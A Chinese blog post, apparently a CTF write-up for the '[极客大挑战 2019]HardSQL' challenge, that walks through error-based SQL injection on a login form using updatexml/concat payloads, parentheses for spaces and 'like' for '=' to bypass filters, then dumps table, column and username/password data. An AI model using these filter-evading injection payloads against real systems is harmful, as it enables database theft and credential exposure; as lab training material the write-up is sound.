zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]HardSQL

    首先万能密码 admin'#,报出密码错误。

    admin' union select 1,2,3#查询报出密另一种错误,开来是检测到恶意字符了。

    先考虑union绕过,

    单独拿出来试,大小写注释双写等都无法报出 wrong password 这个错误信息,说明没有绕过检测成功。

    select通过以上方法也是无法绕。

    好多检测过滤不掉了,联合查询此题看来是无法用了。

    尝试报错注入。

    admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#或者用异或代替or

    admin'^(updatexml(1,concat(0x7e,database(),0x7e),1))#

    得到数据库

    admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database)),0x7e),1))#
    用括号进行绕过空格。

    updatexml concat select,information往后逐个检测是否有过滤,检查到等于号时

     发现等于号原来也被过滤了,可用like进行代替。

    admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

    admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

     admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

     只得到左边的flag,看来是对数据库的数据显示有长度限制,只显示了左边的26个字符

    网上的一个骚姿势是用right函数right(password,27)显示右边的26个字符

    拼接得到flag。

  • 相关阅读:
    PHP中echo和print的区别
    Python input和raw_input的区别
    for,if语句
    Mac下安装PEAR
    IOS之代理
    socket总结
    jQuery 遍历函数 ,javascript中的each遍历
    DP:最大公共子序列
    6.2省赛总结
    NEUOJ1302最大子序列
  • 原文地址:https://www.cnblogs.com/akger/p/15125868.html
Copyright © 2011-2022 走看看